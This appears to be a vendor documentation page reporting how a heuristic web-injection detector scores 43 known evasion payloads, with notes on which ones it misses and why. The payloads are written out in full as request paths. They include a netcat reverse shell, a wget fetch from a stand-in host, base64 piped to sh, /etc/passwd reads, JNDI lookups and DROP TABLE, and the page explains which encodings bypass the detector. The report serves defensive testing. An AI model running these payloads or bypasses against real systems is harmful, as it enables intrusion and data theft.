NEXORA/ Products/NeuraWall

Documentation · Detection

Tier 2 evasion report

Generated by scripts/evasion_report.py against tier2-heuristic-1.0. Regenerate it after any detector change; tests/unit/test_evasion_corpus.py fails when a result here goes out of date.

What this is. A measurement of one heuristic detector (SQL, command and template injection, path traversal and XSS in the request path and query) against well-known evasion techniques. It shows what the detector catches and what it misses. What it is not. A detection rate on real traffic, a benchmark against other products, or a statement about the DNS, beaconing, exfiltration and TLS detectors, which are stateful and are not covered here.

Two thresholds: caught is a finding of at least 0.3 with the right label, the detector's floor. Alert-grade is at least 0.5, where the control plane raises an alert by itself without a matching rule (0.5 for these web-injection labels, policy.classifier_alert_threshold = 0.7 for the rest). No detector can block: a rule a human approved is what enforces.

43 cases: 24 alert-grade, 4 caught below alert grade, 15 missed (28 of 43 detected).

Headline findings

  • 4 of 43 cases are labelled but do not raise an alert (between 0.3 and 0.5). The label is stored on the flow, but Tier 2 alone raises an alert only at 0.5 or more; a high Tier 1 anomaly score can still raise one.
  • The starter rule that blocks web injection needs 0.9. Only payloads that trip two or more rules reach it, so blocking stays conservative on purpose: a miss costs an alert you did not get, a wrong block costs a legitimate request. The alert threshold is a setting; the block threshold is a rule a person approves.
  • 15 cases are missed outright. Mostly encodings and spellings the normaliser does not undo (versioned SQL comments, full-width letters, HTML entities, wildcards and quote-splitting in shell words) and thresholds a lone weak rule does not reach.
  • The detector is a first line, not a verdict. NeuraWall's design assumes this: a model or heuristic can only raise an alert, and a person approves any rule that blocks.

SQL injection

techniquerequest pathresultconfidencenote
baseline UNION SELECT/item?id=1' UNION SELECT user,pass FROM users--alert-grade0.88
mixed case/item?id=1' uNiOn SeLeCt user,pass FrOm users--alert-grade0.88
comment as whitespace/item?id=1'/**/UNION/**/SELECT/**/pass/**/FROM/**/users--alert-grade0.88
URL-encoded/item?id=1%27%20UNION%20SELECT%20pass%20FROM%20users--alert-grade0.88
double URL-encoded/item?id=1%2527%2520UNION%2520SELECT%2520pass%2520FROM%2520users--alert-grade0.88
newline as whitespace/item?id=1'%0aUNION%0aSELECT%0apass%0aFROM%0ausers--alert-grade0.88
tautology without quotes/item?id=1 AND 1=1caught0.31
time-based blind/item?id=1;SELECT pg_sleep(5)--alert-grade0.50
stacked query/item?id=1;DROP TABLE users--alert-grade0.62
MySQL versioned comment/item?id=1/*!50000UNION*//*!50000SELECT*/pass/*!50000FROM*/usersmissed0.00the comment stripper removes the whole /!.../ block, including the keyword inside it
full-width Unicode keywords/item?id=1' %EF%BC%B5%EF%BC%AE%EF%BC%A9%EF%BC%AF%EF%BC%AE SELECT 1--missed0.00lower-casing does not fold full-width letters, and no rule fires without the keywords
quadruple URL-encoding/item?id=1%25252527%252520UNION%252520SELECT%252520pass%252520FROM%252520users--alert-grade0.88still caught, through the other rules, although the UNION rule itself does not fire

Command injection

techniquerequest pathresultconfidencenote
separator + cat/ping?host=1.1.1.1;cat /etc/passwdalert-grade0.92
pipe + id/ping?host=1.1.1.1|idalert-grade0.62
command substitution/ping?host=$(whoami)alert-grade0.62
backticks/ping?host=`id`alert-grade0.62
${IFS} as whitespace/ping?host=1;cat${IFS}/etc/passwdalert-grade0.92
base64 into a shell/ping?host=1;echo Y2F0IC9ldGMvcGFzc3dk|base64 -d|shalert-grade0.62
reverse shell/ping?host=1;nc 10.0.0.1 4444 -e /bin/shalert-grade0.98
quote splitting/ping?host=1;c'a't /etc/passwdmissed0.00c'a't defeats the command-name rule; /etc/passwd alone scores 0.27, under the floor
wildcards instead of names/ping?host=1;/???/c?t /e??/p??s??missed0.00neither a known command name nor a literal sensitive path appears
newline separator, no sensitive file/ping?host=1%0awget http://x.test/amissed0.00a newline is not in the separator list

Template injection

techniquerequest pathresultconfidencenote
Jinja expression/greet?name={{7*7}}missed0.00a lone {{7*7}} probe scores 0.27, under the 0.3 floor
Jinja introspection/greet?name={{''.__class__.__mro__}}alert-grade0.92
JNDI lookup/x?q=${jndi:ldap://x.test/a}alert-grade0.97
obfuscated JNDI/x?q=${${lower:j}ndi:ldap://x.test/a}missed0.00the JNDI rule does not fire, and the template-expression rule alone scores 0.27
Jinja statement block/greet?name={%print(7*7)%}missed0.00only {{ }}, ${ }, <% %> and #{ } are recognised

Path traversal

techniquerequest pathresultconfidencenote
dot-dot-slash, three levels/files?name=../../../etc/passwdalert-grade0.92
URL-encoded slashes/files?name=..%2f..%2f..%2fetc%2fpasswdalert-grade0.92
backslashes/files?name=..\..\..\windows\win.inialert-grade0.62
absolute sensitive path/files?name=/etc/passwdmissed0.00a reference to /etc/passwd alone scores 0.27, under the 0.3 floor
single level/files?name=../secret.txtmissed0.00two or more consecutive ../ are required
Tomcat ..;/ form/files/..;/..;/adminmissed0.00
nested ....// form/files?name=....//....//....//secretmissed0.00a filter that strips ../ once turns this into ../../.. on the server; the detector does not recognise it

XSS

techniquerequest pathresultconfidencenote
script tag/s?q=<script>alert(1)</script>alert-grade0.62
mixed-case script tag/s?q=<ScRiPt>alert(1)</sCrIpT>alert-grade0.62
URL-encoded script tag/s?q=%3Cscript%3Ealert(1)%3C/script%3Ealert-grade0.62
img onerror/s?q=<img src=x onerror=alert(1)>caught0.45one pattern scores 0.45, under the alert-grade line
svg onload without space/s?q=<svg/onload=alert(1)>caught0.45one pattern scores 0.45, under the alert-grade line
javascript: URI/s?next=javascript:alert(1)caught0.38
HTML-entity encoded tag/s?q=&#60;script&#62;alert(1)&#60;/script&#62;missed0.00entities are not decoded
javascript: with an entity/s?next=javascript&colon;alert(1)missed0.00
ontoggle handler/s?q="><details open ontoggle=alert(1)>missed0.00only error, load, mouseover and focus handlers are listed

Known gaps, in plain words

  • SQL injection, MySQL versioned comment. the comment stripper removes the whole /!.../ block, including the keyword inside it
  • SQL injection, full-width Unicode keywords. lower-casing does not fold full-width letters, and no rule fires without the keywords
  • Command injection, quote splitting. c'a't defeats the command-name rule; /etc/passwd alone scores 0.27, under the floor
  • Command injection, wildcards instead of names. neither a known command name nor a literal sensitive path appears
  • Command injection, newline separator, no sensitive file. a newline is not in the separator list
  • Template injection, Jinja expression. a lone {{7*7}} probe scores 0.27, under the 0.3 floor
  • Template injection, obfuscated JNDI. the JNDI rule does not fire, and the template-expression rule alone scores 0.27
  • Template injection, Jinja statement block. only {{ }}, ${ }, <% %> and #{ } are recognised
  • Path traversal, absolute sensitive path. a reference to /etc/passwd alone scores 0.27, under the 0.3 floor
  • Path traversal, single level. two or more consecutive ../ are required
  • Path traversal, Tomcat ..;/ form. Not recognised.
  • Path traversal, nested ....// form. a filter that strips ../ once turns this into ../../.. on the server; the detector does not recognise it
  • XSS, HTML-entity encoded tag. entities are not decoded
  • XSS, javascript: with an entity. Not recognised.
  • XSS, ontoggle handler. only error, load, mouseover and focus handlers are listed

These are heuristics, so every pattern has a bypass. That is why NeuraWall never lets a detector block on its own: a miss costs an alert you did not get, and a false positive costs nothing until a person approves a rule for it.

Back to what NeuraWall detects